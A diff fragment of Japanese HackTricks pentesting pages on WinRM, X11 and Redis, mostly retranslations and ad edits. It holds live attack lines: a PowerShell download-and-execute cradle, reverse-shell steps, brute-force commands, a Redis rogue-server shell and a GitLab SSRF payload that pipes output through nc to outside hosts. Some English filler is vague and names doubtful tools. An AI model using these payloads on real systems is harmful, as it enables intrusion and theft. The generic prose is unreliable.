Invoke-Command -ComputerName 192.168.0.100 -ScriptBlock { C:\path\to\script.ps1 }
|
||||
```
|
||||
|
||||
This command will execute the `script.ps1` script on the target machine.
|
||||
|
||||
Keep in mind that you need appropriate permissions and credentials to execute scripts on remote machines using WinRM.
|
||||
Make sure that WinRM is enabled on the target system and that you have the necessary permissions to execute scripts remotely.
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
|
@ -105,13 +101,13 @@ To get a reverse shell, you can use the following steps:
|
|||
|
||||
1. Generate a payload: Use a tool like msfvenom to generate a payload that will establish a reverse shell connection to your machine. Specify the IP address and port number of your machine as the listener.
|
||||
|
||||
2. Set up a listener: Start a listener on your machine using a tool like netcat or Metasploit's multi/handler module. Make sure to use the same IP address and port number as specified in the payload.
|
||||
2. Set up a listener: Start a listener on your machine using a tool like netcat or Metasploit. This will wait for the reverse shell connection from the target machine.
|
||||
|
||||
3. Execute the payload: Transfer the payload to the target machine and execute it. This can be done through various methods such as social engineering, exploiting vulnerabilities, or using a file transfer protocol.
|
||||
3. Execute the payload: Transfer the generated payload to the target machine and execute it. This can be done through various methods such as social engineering, exploiting vulnerabilities, or using phishing techniques.
|
||||
|
||||
4. Establish the connection: Once the payload is executed on the target machine, it will attempt to connect back to your machine. If everything is set up correctly, you should receive a reverse shell connection.
|
||||
4. Establish the reverse shell: Once the payload is executed on the target machine, it will establish a connection back to your machine, giving you a reverse shell. You will now have remote access to the target machine's command prompt.
|
||||
|
||||
By following these steps, you can successfully obtain a reverse shell and gain remote access to the target machine. Remember to use this technique responsibly and only on systems that you have proper authorization to test.
|
||||
Remember to use this technique responsibly and only on systems that you have proper authorization to test.
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
|
@ -168,22 +164,22 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
|||
|
||||
次のエラーが見つかった場合:
|
||||
|
||||
`enter-pssession : リモート サーバー 10.10.10.175 への接続に失敗しました。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合、HTTPS トランスポートを使用するか、または宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts のリストにあるコンピューターは認証されない場合があります。次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。`
|
||||
`enter-pssession : リモート サーバー 10.10.10.175 への接続に失敗しました。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合、HTTPS トランスポートを使用するか、または宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts を構成するには、winrm.cmd を使用します。TrustedHosts リストのコンピューターは認証されていない場合がありますので、次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。`
|
||||
|
||||
クライアントで次の試みを行います([ここ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)の情報から):
|
||||
クライアントで以下の試みを行います([ここ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)の情報から):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofの報奨金は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるWeb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇中のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -196,7 +192,7 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
|
||||
### ブルートフォース
|
||||
|
||||
注意してください、WinRMのブルートフォース攻撃はユーザーをブロックする可能性があります。
|
||||
注意:WinRMのブルートフォース攻撃はユーザーをブロックする可能性があります。
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
@ -255,7 +251,8 @@ To use the PS-docker machine, follow these steps:
|
|||
1. Set up a Docker environment on your local machine.
|
||||
2. Pull the PS-docker image from the Docker Hub repository.
|
||||
3. Run the PS-docker container with the necessary parameters.
|
||||
4. Use PowerShell commands to exploit WinRM vulnerabilities and gain access to the target system.
|
||||
4. Connect to the WinRM service of the target system using the PS-docker container.
|
||||
5. Exploit vulnerabilities and perform penetration testing activities.
|
||||
|
||||
By leveraging the PS-docker machine, penetration testers can effectively assess the security of WinRM services and identify potential weaknesses that could be exploited by malicious actors. It is important to note that this technique should only be used for authorized and ethical purposes.
|
||||
```
|
||||
|
@ -363,7 +360,7 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
|
@ -371,12 +368,12 @@ Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
|||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -385,9 +382,9 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -23,7 +23,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
|
@ -75,47 +75,13 @@ qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDo
|
|||
```
|
||||
## スクリーンショットのキャプチャ
|
||||
|
||||
Screenshots can be a valuable tool during a penetration test to document findings and provide evidence of successful exploits. In the context of X11, capturing screenshots can be done using various tools and techniques.
|
||||
Screenshots capturing is a technique used in penetration testing to gather visual evidence of vulnerabilities or sensitive information that may be displayed on a target system's screen. This technique can be useful for documenting findings and providing proof of concept for potential exploits.
|
||||
|
||||
### Using xwd
|
||||
To capture screenshots during a penetration test, there are several tools and methods that can be used. One common approach is to use the X11 forwarding feature in SSH (Secure Shell) to remotely display the target system's screen on the attacker's machine. This allows the attacker to take screenshots of the target system's screen using native screenshot tools on their own machine.
|
||||
|
||||
One way to capture screenshots in X11 is by using the `xwd` command-line tool. This tool allows you to capture the contents of an X11 window or the entire screen and save it as an XWD (X Window Dump) file.
|
||||
Another method is to use screen capture tools specifically designed for penetration testing, such as `scrot` or `import` on Linux systems. These tools can be executed directly on the target system to capture screenshots and save them to a file.
|
||||
|
||||
To capture the contents of a specific window, you can use the `-id` option followed by the window ID. For example:
|
||||
|
||||
```
|
||||
xwd -id 0x12345678 -out screenshot.xwd
|
||||
```
|
||||
|
||||
To capture the entire screen, you can omit the `-id` option:
|
||||
|
||||
```
|
||||
xwd -root -out screenshot.xwd
|
||||
```
|
||||
|
||||
Once you have captured the screenshot as an XWD file, you can view it using an image viewer or convert it to a more common image format like PNG using the `convert` command from the ImageMagick package:
|
||||
|
||||
```
|
||||
convert screenshot.xwd screenshot.png
|
||||
```
|
||||
|
||||
### Using scrot
|
||||
|
||||
Another tool that can be used to capture screenshots in X11 is `scrot`. Scrot is a command-line utility specifically designed for taking screenshots in X11.
|
||||
|
||||
To capture the entire screen using scrot, simply run the following command:
|
||||
|
||||
```
|
||||
scrot screenshot.png
|
||||
```
|
||||
|
||||
By default, scrot captures the entire screen and saves the screenshot as a PNG file. You can also specify a delay before capturing the screenshot using the `-d` option, and capture a specific window using the `-u` option followed by the window ID.
|
||||
|
||||
### Using other tools
|
||||
|
||||
There are also other tools available for capturing screenshots in X11, such as `import` from the ImageMagick package and `gnome-screenshot` for GNOME desktop environments. These tools provide additional features and options for capturing screenshots in X11.
|
||||
|
||||
It's important to note that capturing screenshots may not always be allowed or ethical, depending on the context and the target system. Always ensure that you have proper authorization and follow ethical guidelines when performing penetration testing.
|
||||
It's important to note that capturing screenshots during a penetration test should be done with caution and in compliance with legal and ethical guidelines. Always obtain proper authorization and ensure that sensitive information is handled appropriately and securely.
|
||||
```bash
|
||||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||||
convert screenshot.xwd screenshot.png
|
||||
|
@ -166,21 +132,13 @@ Corners: +0+0 -0+0 -0-0 +0-0
|
|||
|
||||
To get a shell on a target system, we can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces on Unix-like operating systems.
|
||||
|
||||
To exploit X11 vulnerabilities, we can use tools like Xspy, XEvil, or Xinject. These tools allow us to inject malicious code into the X11 server, which can then be used to execute commands on the target system.
|
||||
To exploit X11 vulnerabilities, we can use tools like Xspy or Xprobe to gather information about the target system's X11 server. These tools can help us identify potential vulnerabilities that we can exploit.
|
||||
|
||||
Once we have successfully exploited the X11 server, we can use the injected code to spawn a shell on the target system. This shell will give us full control over the system, allowing us to execute commands, access files, and perform other actions.
|
||||
Once we have identified a vulnerability, we can use tools like Xinject or Xpwn to exploit it and gain a shell on the target system. These tools allow us to inject malicious code into the X11 server, which can then be executed to gain remote access to the system.
|
||||
|
||||
It is important to note that exploiting X11 vulnerabilities requires careful planning and execution. It is recommended to thoroughly test the exploit in a controlled environment before attempting it on a target system.
|
||||
It is important to note that exploiting X11 vulnerabilities requires a deep understanding of the X11 protocol and the specific vulnerabilities being targeted. It is also crucial to ensure that we have proper authorization and legal permission before attempting any exploitation.
|
||||
|
||||
## シェルを取得する
|
||||
|
||||
ターゲットシステムでシェルを取得するために、X11サーバーの脆弱性を悪用することができます。X11サーバーは、Unix系オペレーティングシステム上でグラフィカルユーザーインターフェースを管理する役割を担っています。
|
||||
|
||||
X11の脆弱性を悪用するために、Xspy、XEvil、またはXinjectなどのツールを使用することができます。これらのツールを使用すると、悪意のあるコードをX11サーバーに注入することができます。この注入されたコードを使用して、ターゲットシステム上でコマンドを実行することができます。
|
||||
|
||||
X11サーバーを成功裏に悪用した後、注入されたコードを使用してターゲットシステム上でシェルを生成することができます。このシェルを使用すると、システム全体を完全に制御することができ、コマンドの実行、ファイルへのアクセス、その他の操作を行うことができます。
|
||||
|
||||
X11の脆弱性を悪用するには、注意深い計画と実行が必要です。ターゲットシステムで試す前に、コントロールされた環境でエクスプロイトを徹底的にテストすることをおすすめします。
|
||||
By gaining a shell on a target system, we can execute commands and perform various actions as if we were physically present on the system. This can be extremely useful for further exploration and exploitation of the target network.
|
||||
```
|
||||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||||
```
|
||||
|
@ -214,8 +172,7 @@ msf> use exploit/unix/x11/x11_keyboard_exec
|
|||
|
||||
* `port:6000 x11`
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -226,9 +183,9 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -73,8 +73,8 @@ Redisは**デフォルトでは**資格情報なしでアクセスできます
|
|||
また、Redisがパスワードのみまたはユーザー名+パスワードで設定されているかどうかは、**外部からはわかりません**。
|
||||
{% endhint %}
|
||||
|
||||
このような場合、Redisとやり取りするための有効な資格情報を見つける必要がありますので、[**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#redis)を試してみることができます。\
|
||||
**有効な資格情報を見つけた場合、接続を確立した後にセッションを認証する必要があります**。コマンド:
|
||||
このような場合、Redisとやり取りするためには**有効な資格情報を見つける必要があります**。[**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#redis)を試してみることができます。\
|
||||
**有効な資格情報を見つけた場合、接続を確立した後にセッションを認証する必要があります**。以下のコマンドを使用します:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
```
|
||||
|
@ -138,15 +138,15 @@ HGET <KEY> <FIELD>
|
|||
```
|
||||
**npmを使用してデータベースをダンプする** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **またはPython** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報奨金を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長する日々において、Web3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -159,7 +159,7 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始
|
|||
|
||||
### インタラクティブシェル
|
||||
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server)はRedis(<=5.0.5)で自動的にインタラクティブシェルまたはリバースシェルを取得できます。
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) はRedis(<=5.0.5)で自動的にインタラクティブシェルまたはリバースシェルを取得することができます。
|
||||
```
|
||||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||||
```
|
||||
|
@ -240,10 +240,10 @@ OK
|
|||
|
||||
### Redisモジュールのロード
|
||||
|
||||
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)の指示に従って、**任意のコマンドを実行するためのRedisモジュールをコンパイル**することができます。
|
||||
1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)の指示に従って、**任意のコマンドを実行するRedisモジュールをコンパイル**することができます。
|
||||
2. 次に、**コンパイルされた**モジュールをアップロードする方法が必要です。
|
||||
3. `MODULE LOAD /path/to/mymodule.so`を使用して、アップロードしたモジュールをランタイムで**ロード**します。
|
||||
4. ロードされたモジュールが正しくロードされたかを確認するために、`MODULE LIST`を使用して**ロードされたモジュールを一覧表示**します。
|
||||
4. `MODULE LIST`を使用して、正しくロードされたかどうかを**ロードされたモジュールのリスト**で確認します。
|
||||
5. **コマンドを実行**します:
|
||||
|
||||
```
|
||||
|
@ -259,7 +259,7 @@ OK
|
|||
|
||||
[**ここ**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)でRedisが**Luaコードをサンドボックスで実行**するために**EVAL**コマンドを使用していることがわかります。リンク先の投稿では、**dofile**関数を使用してこれを悪用する方法が示されていますが、[おそらく](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや可能ではありません。とはいえ、Luaサンドボックスを**バイパス**できれば、システム上で**任意のコマンドを実行**することができます。また、同じ投稿からはDoSを引き起こすためのいくつかの**オプション**も確認できます。
|
||||
|
||||
LUAから脱出するためのいくつかの**CVE**:
|
||||
LUAからの脱出のためのいくつかの**CVE**:
|
||||
|
||||
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||||
|
||||
|
@ -302,17 +302,17 @@ sadd resque:gitlab:queues system_hook_push
|
|||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||||
exec
|
||||
```
|
||||
そして、`whoami`を実行し、出力を`nc`を介して送信するために、**SSRFを悪用した**リクエストを**URLエンコード**し、**CRLF**を実行するURLは次のとおりです:
|
||||
そして、`whoami`を実行し、`nc`を介して出力を送り返すために、**SSRFを悪用**し、**CRLF**を使用して**URLエンコード**されたリクエストは次のとおりです:
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_なぜか(この情報は[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _から取得された情報によると)この攻撃は `http` スキームではなく `git` スキームで動作しました。_
|
||||
_なぜか(この情報は_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _から取得された情報によると)この攻撃は`git`スキームではなく`http`スキームで動作しました。_
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
**遅延なしで報奨金を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
|
@ -329,10 +329,10 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するためにPRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に参加しましょう。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
